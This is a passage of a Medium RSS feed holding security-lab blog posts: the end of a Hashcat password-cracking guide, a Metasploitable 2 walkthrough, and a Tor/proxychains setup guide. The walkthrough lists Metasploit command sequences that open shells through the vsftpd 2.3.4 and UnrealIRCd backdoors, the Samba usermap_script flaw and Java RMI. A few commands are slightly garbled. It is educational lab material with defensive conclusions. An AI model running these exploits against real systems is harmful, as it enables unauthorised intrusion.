(-m):</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OsYNxnRhBHQe3yuel6A8dg.png" /><figcaption>figure 11: hash modes</figcaption></figure><h4><strong>Attack Modes (-a)</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urhsRVaW2d_2-GIglduXMA.png" /><figcaption>figure 12: attack modes</figcaption></figure><p><strong>Dictionary wordlist: </strong>runs through a given word list like rockyou.txt which<br>contains common passwords/leaked passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GgIoAM7FAzdSfNcGb26pqw.png" /><figcaption>figure 13: dictionary attack</figcaption></figure><p><strong>Brute-Force/mask: </strong>runs through all the combinations with a given pattern,<br>(example: ?l?l?d?d considers two lowercase letters and two digits.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ls0x3bWU3iG9WaoqBg5Xvg.png" /><figcaption>figure 14: brute force attack</figcaption></figure><p><strong>Combinator attack</strong>: combines two word lists (example: sun+set = sunset).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*4f2N3LmJ41Knf40G3Uhx4g.png" /><figcaption>figure 15 : Combinator attactk</figcaption></figure><p><strong>Rule based attack:</strong> Mixes a wordlist with brute-force masks.<br>Rule-based attacks: Applies transformation rules to wordlist entries (Example:capitalization, appending numbers etc). (example : password, Password,Password123).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sqDMHv--CuxDgg57pYaMw.png" /><figcaption>figure 16 : rule based attack</figcaption></figure><h3>Conclusion</h3><p>Password cracking is an important part of authorized security auditing because it demonstrates how weak passwords and insecure credential storage can expose systems to attack.</p><p>In this hands-on lab, we explored:</p><ul><li>Hash fundamentals and identification</li><li>fcrackzip</li><li>John the Ripper</li><li>Hydra</li><li>Hashcat</li></ul><p>The main defensive lesson is straightforward: organizations should use strong, unique passwords, rate limiting, multi-factor authentication, and modern password-hashing algorithms such as <strong>Argon2id</strong>, <strong>bcrypt</strong>, or <strong>scrypt</strong> with appropriate configuration.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65c89fbead5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Common Vulnerabilities in Metasploitable 2]]></title>
            <link>https://medium.com/@aneesh.kv2003/exploiting-common-vulnerabilities-in-metasploitable-2-3bcff7bcf78a?source=rss-38682f7f9b1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bcff7bcf78a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Aneesh Kv]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 08:59:44 GMT</pubDate>
            <atom:updated>2026-07-07T08:59:44.232Z</atom:updated>
            <content:encoded><![CDATA[<p>In this section, we demonstrate several well-known vulnerabilities included in Metasploitable 2. These exploits are performed <strong>only within an isolated lab environment</strong> for educational purposes.</p><ol><li><strong>Exploiting the VSFTPD 2.3.4 Backdoor (CVE-2011–2523)</strong></li></ol><p>vsftpd 2.3.4 (Very Secure FTP Daemon) was a popular Linux FTP server. In 2011, the official download package was compromised and replaced with a malicious version containing a hidden backdoor. When triggered, it opened port 6200, allowing attackers to gain shell access without normal authentication. This vulnerability is identified as CVE-2011–2523.</p><p><strong>Command:</strong> search vsftpd 2.3.4</p><p><strong>Command:</strong> use exploit/unix/ftp/vsftpd_234_backdoor</p><p><strong>Command: </strong>info</p><p><strong>Command:</strong> show options</p><p><strong>Command:</strong> set LHOST 192.168.1.14</p><p><strong>Command:</strong> set RHOSTS 192.168.1.5</p><p><strong>Command:</strong> run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*B1CQLqWNnSCpUgg4rM8imw.png" /><figcaption>Figure 1. Searching for the VSFTPD 2.3.4 Backdoor (CVE-2011–2523) module in Metasploit.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*40jeBHHLNnrBhOSeKcsSdg.png" /><figcaption>Figure 2. Configuring the VSFTPD 2.3.4 Backdoor exploit module using show options</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O4xAm9pGpZC7Eca06xFTvA.png" /><figcaption>Figure 3. Executing the VSFTPD 2.3.4 Backdoor exploit and obtaining a Meterpreter session.</figcaption></figure><p><strong>2. Exploiting the Samba Username Map Script Vulnerability (CVE-2007–2447)</strong></p><p><strong>Samba</strong> versions <strong>3.0.20–3.0.25rc3</strong> contain a command execution vulnerability when the <strong>username map script</strong> option is enabled. An attacker can send a specially crafted username containing shell characters to execute commands on the target system. <strong>No authentication is required</strong> because the username is processed before login. This vulnerability is identified as <strong>CVE-2007–2447</strong>.</p><p><strong>Command:</strong> search samba</p><p><strong>Command:</strong> use exploit/multi/handler/samba/usermap_script</p><p><strong>Command: </strong>info</p><p><strong>Command:</strong> show options</p><p><strong>Command:</strong> set RHOSTS 192.168.1.5</p><p><strong>Command:</strong> run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*zDhZUDlr-TmEJnI2Wlt5uQ.png" /><figcaption>Figure 4. Samba Username Map Script (CVE-2007–2447) exploit module information.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*w2v4iMdLrlOxhfnOqTI5hg.png" /><figcaption><strong>Figure 5. Executing the Samba </strong><strong>usermap_script exploit and obtaining a command shell.</strong></figcaption></figure><p><strong>3. Exploiting the Java RMI Service (CVE-2011–3556)</strong></p><p>Java RMI (grmiregistry) allows Java programs to communicate over a network. In older or insecurely configured Java RMI services (such as those affected by <strong>CVE-2011–3556</strong>), attackers can exploit insecure remote class loading or related RMI weaknesses to achieve remote code execution. In Metasploitable 2, the Java RMI service is intentionally vulnerable, allowing learners to safely practice identifying and exploiting this weakness in a controlled lab environment</p><p><strong>Command:</strong> search java_rmi_server</p><p><strong>Command:</strong> use multi/misc/java_rmi_Server</p><p><strong>Command: </strong>info</p><p><strong>Command:</strong> show options</p><p><strong>Command:</strong> set RHOSTS 192.168.1.5</p><p><strong>Command: </strong>set LHOST 192.168.1.14</p><p><strong>Command:</strong> run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*acxK02gf6F0qz1mv4KzKHA.png" /><figcaption>Figure 6. Java RMI Server (CVE-2011–3556) exploit module information in Metasploit.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHLoPTTOvT_NqtTfBIcnKg.png" /><figcaption>Figure 7. Successful Java RMI Server exploitation in Metasploit.</figcaption></figure><p><strong>4. Exploiting the UnrealIRCd Backdoor (CVE-2010–2075)</strong></p><p>UnrealIRCd is an Internet Relay Chat (IRC) server used for real-time messaging. UnrealIRCd 3.2.8.1 became vulnerable when a malicious backdoor was inserted into its official download archive between November 2009 and June 12, 2010. Systems that installed the compromised version allowed attackers to execute remote commands, making it a well-known software supply chain attack. In Metasploitable 2, this vulnerable version is included for safe exploitation practice in a controlled lab environment.</p><p><strong>Command:</strong> search UnrealIRCD</p><p><strong>Command:</strong> use exploit/unix/unreal_ircd_3281_backdoor</p><p><strong>Command: </strong>info</p><p><strong>Command:</strong> show options</p><p><strong>Command:</strong> set RHOSTS 192.168.1.5</p><p><strong>Command: </strong>set LHOST 192.168.1.14</p><p><strong>Command:</strong> run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*bmfs2QgKrkq4Fw7i5kM6HA.png" /><figcaption>Figure 8. UnrealIRCd 3.2.8.1 Backdoor (CVE-2010–2075) exploit module information.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*3NHUgE1JdCNKdSUPvziyuA.png" /><figcaption>Figure 9. Successful UnrealIRCd Backdoor exploitation in Metasploit.</figcaption></figure><h3><strong>Conclusion</strong></h3><p>Practicing with Metasploitable 2 provides valuable hands-on experience in identifying and validating common vulnerabilities in a controlled lab environment. It helps build practical penetration testing skills while emphasizing the importance of patch management, secure configurations, and keeping production systems up to date to reduce security risks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bcff7bcf78a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TOR Proxy Service]]></title>
            <link>https://medium.com/@aneesh.kv2003/tor-proxy-service-d21e8b622fa6?source=rss-38682f7f9b1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d21e8b622fa6</guid>
            <dc:creator><![CDATA[Aneesh Kv]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 05:45:38 GMT</pubDate>
            <atom:updated>2026-08-03T09:24:54.146Z</atom:updated>
            <content:encoded><![CDATA[<h4>TOR: Tor (The Onion Router) is a privacy-focused network that routes Internet traffic through multiple relay nodes before it reaches the destination, helping protect the user’s IP address</h4><p><strong>There are three relays:</strong></p><p>· Guard Node</p><p>· Middle relay</p><p>· Exit Node</p><p>Source IP -&gt; guard node -&gt; middle relay -&gt; Exit Node -&gt; destination IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*boJJ9VVkcEMPFgpzz41k7Q.png" /></figure><p><strong>Data is encrypted in multiple layers: </strong>original data -&gt; guard encryption-&gt; middle encryption -&gt; exit encryption -&gt; destination</p><p>As the traffic passes through the network:</p><ul><li><strong>Guard node</strong> removes the first encryption layer.</li><li><strong>Middle relay</strong> removes the second.</li><li><strong>Exit node</strong> removes the final layer and sends the request to the destination.</li></ul><p>The destination target only knows the IP of exit node not the real ISP.</p><p>Tor client does all the three layer encryption</p><p><strong>Configuration of tor through proxychains:</strong></p><p>· sudo apt update</p><p>· sudo apt install tor -y</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pFGR88WzyY8CXgVpy_nLoA.png" /></figure><p>Installs Tor, which provides a local SOCKS5 proxy (default port 9050).</p><p>· sudo systemctl tor start</p><p>· sudo systemctl tor enable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*eZUZj61-xGTfDsoTCPFPtg.png" /></figure><p>Ensure the service status is <strong>active (running)</strong> before continuing.</p><p>· sudo apt update</p><p>· sudo apt install proxychains -y</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*ROMyBS7L5OkFzRC_iCdjTQ.png" /></figure><p>· locate proxychains</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*5r1UZt4uU5FVDQV9I4xolg.png" /></figure><p>· sudo nano /etc/proxychains4.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*z-hhLzsbFCKO9wuyPBVeLg.png" /></figure><p>Add the following line at the end of the ProxyChains configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*UQgvdaRoG0nQm9bhb7Y2hQ.png" /></figure><p>Uncomment the dynamic_chain option by removing the # symbol.</p><p><strong>Dynamic chain: </strong>Uses the proxies in the order they are listed, skips the dead proxy and goes to next proxy. Say proxy list: <strong>A, B, C </strong>if B stops working it moves to next proxy.</p><p>· <strong>S -&gt; A-&gt;C-&gt;D</strong></p><p><strong>Strict chain: </strong>Uses all the proxies in the exact order listed, if one fails the connection fails. [A,B,C] suppose B fails then entire connection fails.</p><p><strong>Round Robin chain:</strong>Distributes connections across the available proxies in the list. Each new connection starts with the next proxy in a rotating sequence. [A,B,C] <strong>1st :S-&gt;A-&gt;D, 2nd: S-&gt;B-&gt;D, 3rd: S-&gt;C-&gt;D</strong></p><p><strong>Random chain:</strong> Randomly selects the proxies from the list. The path changes with each connection. <strong>1st: S-&gt; B -&gt; D, 2nd: S-&gt; B-&gt;C -&gt;D, 3rd: S-&gt;A-&gt;C-&gt;D</strong></p><p>· curl <a href="https://icanhazip.com/">https://icanhazip.com</a></p><p>· proxychains curl <a href="https://icanhazip.com/">https://icanhazip.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*byV9O05SsV30JVv3ptluZQ.png" /></figure><p><strong>Configuration through tor socks</strong></p><p>· curl <a href="https://icanhazip.com/">https://icanhazip.com</a></p><p>· torsock curl <a href="https://icanhazip.com/">https://icanhazip.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*XdFOf-RhFGCOgQlZTa5uhQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d21e8b622fa6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>